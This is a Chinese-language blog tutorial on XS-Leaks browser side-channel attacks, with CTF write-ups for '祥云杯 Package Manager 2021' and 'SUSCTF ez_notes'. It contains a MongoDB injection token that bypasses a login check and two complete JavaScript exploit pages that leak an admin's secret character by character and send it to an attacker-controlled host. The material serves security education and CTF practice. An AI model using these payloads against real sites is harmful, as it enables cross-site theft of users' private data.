前端安全大师养成计划Vol.01:XS-Leaks

关键词: 侧信道;跨域;泄漏信息

前言

从CSRF到同源策略

众所周知,浏览器依靠js搭建起用户与服务端之间的桥梁,我们在网页时,点击不同的功能按钮,js自动向服务端发起各种不同的请求,构成了我们日常网上冲浪的舒适体验

当然,恶意的攻击者也可以依靠js来伪造用户交互,实现CSRF攻击,一个经典的CSRF例子如下图所示

出于安全性的考虑,现代浏览器基本都实现了同源策略,限制不同网站之间的数据读取

举个栗子🌰,我们可以在b站主页通过控制台打开一个新的b站视频窗口,并且可以取得这个窗口的document等信息

1
2
3
4
var MyWindow = window.open('https://www.bilibili.com/video/BV1Mc411u7xh/')

MyWindow.document.title
//显示对应的标签页title

但当我们在百度的主页进行一样的操作时,却会Permission denied,这是因为百度和b站并不同源,同源策略限制了不同网站之间的数据读取

同源策略的限制,让攻击者无法轻易地通过js脚本跨站获得信息,保护了用户浏览网页时的安全性和隐私性,是浏览器安全的基石(<-这一段是gpt说的)

XS-Leaks简介

XS-Leaks,即cross-site leaks,直译为跨站泄漏,是一类基于浏览器特性的侧信道攻击
说到侧信道攻击,大家应该或多或少都听过这个词,也听过侧信道攻击的通俗解释-“你妈回家看到你在写作业,很高兴,结果摸电视发现是热的,把你打了一顿”。从广义上说,侧信道攻击的本质是增加获取信息的维度,从一些容易被忽视的地方泄漏出关键信息
下面介绍XS-Leaks中一种比较经典的攻击手法,XS-Search,让大家对XS-Leaks有一个基本概念

设想网站有一个模糊查找功能,可以通过一个get参数对数据进行查询,那么虽然攻击者由于同源策略的限制无法直接取得查询结果,但是却可以通过请求各自所花费的时间来判断搜索是否返回了结果(很自然的想法,查询到结果的请求会比没查询到结果的请求响应时间更长),由此泄漏出数据中是否包含某些具体内容

小靳同学喜欢把银行卡密码写在某在线笔记里,小茯同学知道后写了一个钓鱼🎣网站发给小靳,通过笔记的搜索功能进行XS-Search,一位一位地leak出小靳同学的银行卡密码,发现是自己的生日。

上述案例就属于XS-Search的典型应用

不过这样的攻击方式有很明显的缺点:利用条件苛刻
● 每个请求能泄漏的信息很有限,想要获得具体的信息要发出大量请求
● 对响应时间的影响因素太多太不稳定,比如网络抖动和网络延迟(虽然有timeless timing等技巧可以减少影响,但依然无法改变利用条件苛刻的事实)

话虽如此,XS-Search却为我们打开了一种攻击思路,并且XS-Leaks的实际攻击手段也远不止如此

一些CTF题目

[2021祥云杯]Package Manager 2021

buuoj上有在线环境

https://buuoj.cn/challenges#[2021%E7%A5%A5%E4%BA%91%E6%9D%AF]Package%20Manager%202021
这个题的常规解法是mongoDB注入,不过还有一个画蛇添足的xsleak做法(为什么说是画蛇添足呢,因为用xsleak做也还是需要注入),这里介绍一下xsleak部分的思路
题目是一个package管理页,可以自己添加package,flag是admin用户的一个package内容

题目里有一个search功能
/packages/list?search=alibaba

/packages/list?search=40thieves

注意到搜索成功和失败时返回的状态码不同(200和404),可以以此作为侧信道进行leak
解题
首先需要提交一个校验token才能向admin发送url,校验时从mongoDB查询,查询语句如下

1
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "${token.toString()}"`).exec()

其中token是我们可控的,虽然有正则匹配token必须是md5格式,但是因为没有写^$所以可以直接塞32个a进行绕过(注入的做法就是在这里直接注出密码,但是我们还要打xsleak,就先放密码一马)
输入如下token,构造永真式通过校验
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.username=="admin

题外话,这里如果改成 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”||”a”==”a 是无法通过校验的,why?

然后我们就可以自己创建一个package发送给admin了

1
2
res.set('Content-Security-Policy', "default-src 'none';style-src 'self' 'sha256-GQNllb5OTXNDw4L6IIESVZXrXdsfSA9O8LeoDwmVQmc=';img-src 'self';form-action 'self';base-uri 'none';");
res.set('X-Content-Type-Options','nosniff');

因为题目CSP做了非常严格的限制,常规的xss基本上全都打不通,能使用的基本上只有一个meta标签重定向,只能考虑xsleak
在火狐环境下,可以使用object元素的onload和onerror事件进行leak,如果object.data的访问状态码为200,则会触发onload,如果访问状态码为404,则会触发onerror

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<html>
<script>
const VPS_IP = 'http://111.111.111.111/'
const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";

const escape = (c) => {
return c.replace(/[.*+?^=!:${}()|[\]\/\\]/g, '\\$&');
}

const oracle = async (url) => {
return new Promise((resolve, reject) => {
const object = document.createElement("object");
object.data = url;
object.onload = resolve;
object.onerror = reject;
document.head.appendChild(object);
});
}
const search = async (url) => {
try {
await oracle(url)
return true;
} catch (e) {
return false;
}
}

(async () => {
let flag = '';
let url = `http://localhost:8888/packages/list?search[description][$regex]=^${flag}`
while (flag.charAt(flag.length - 1) !== "}") {
for ( let i of chars ) {
if ( await(search(url + escape(i))) ) {
url = url + escape(i)
flag += i
await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
break;
} else {
console.log('failed');
}
}
}
})();
</script>
<img src="https://deelay.me/10000/http://example.com"/>
</html>

[SUSCTF 2022] ez_notes

和上面一题大同小异,可以创建notes,notes有搜索功能,可以给admin发送url,flag是admin的一个note

搜索功能在搜索到唯一结果时会进行一次跳转,可以以此为侧信道进行leak

1
2
3
4
5
if (data.length === 1)  // 仅有一条结果
{
let url = '/view/' + data[0].id
res.send('find only match, redirecting<script>setTimeout(function(){location.href="' + url + '"},1000) </script>')
}

具体的leak方法是:js打开的窗口会存有一个history属性,虽然在不同源时无法查看,但是可以将窗口切回同源页面后通过history的长度判断是否进行了跳转,跳转过的window会有更长的history

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<body onload=exp()>
</body>
<script>
function exp(){
let charset = "1234567890_qwertyuiopasdfghjklzxcvbnm"
for(let c of charset){
test(c)
}
}
function test(c) {
let win = open("http://120.53.107.60:3456/search?q=flag{"+ c )
setTimeout(()=>{win.location="http://ip"}, 2000)
setTimeout(()=>{
console.log(c)
console.log(win.history.length)
if(win.history.length === 3)
{
fetch("http://ip/?" + c)
}
}, 4000)
setTimeout(()=>{
win.close()
}, 5000)
}

</script>
</html>

其他leak手法

XS-Leaks的攻击手法是不断迭代的,并且受浏览器环境影响很大
https://xsinator.com/paper.pdf 这篇paper比较全面地介绍了各种攻击技巧,并测试了不同浏览器环境下的攻击可行性,有兴趣的话可以研读一下

总结

总体来说,XS-Leaks的危害还是不太大的:攻击条件苛刻,攻击能否成功依赖被攻击者环境,泄漏的信息有限……但不排除在一些特殊情境下,还是会产生比较高的风险,譬如leak出帐密AK等敏感信息
并且由于XS-Leaks基于浏览器,对于开发者来说,XS-Leaks其实很难防范。再加上XS-Leaks作为一种比较新的攻击手法,也并不被大家所熟知,就导致产生了很多潜在的XS-Leaks攻击面

有专家预言XS-Leaks会在未来成为OWASP TOP10,我个人预言一下这个专家的预言不会成真(笑)。
目前来看,XS-Leaks本身还是无法独立成为比较严重的安全问题,更多是作为一种trick作研究和娱乐用。(以及国外的CTF很喜欢出XS-Leaks的题)

下集预告:如何手撕前端js混淆(应该是没有下集了)

参考:
https://xsleaks.dev/ XS-Leaks Wiki,非常全面
https://xsinator.com/ 查询不同浏览器环境可用的leak手法,还可以一键测试当前浏览器
https://xz.aliyun.com/t/11306
https://book.hacktricks.xyz/pentesting-web/xs-search
https://secweb.work/papers/2021/vangoethem2021leaks.pdf
https://cheatsheetseries.owasp.org/cheatsheets/XS_Leaks_Cheat_Sheet.html
https://owasp.org/www-chapter-germany/stammtische/hamburg/assets/slides/2022-02-24_XS-Leak%20und%20XS-Search-Angriffe.pdf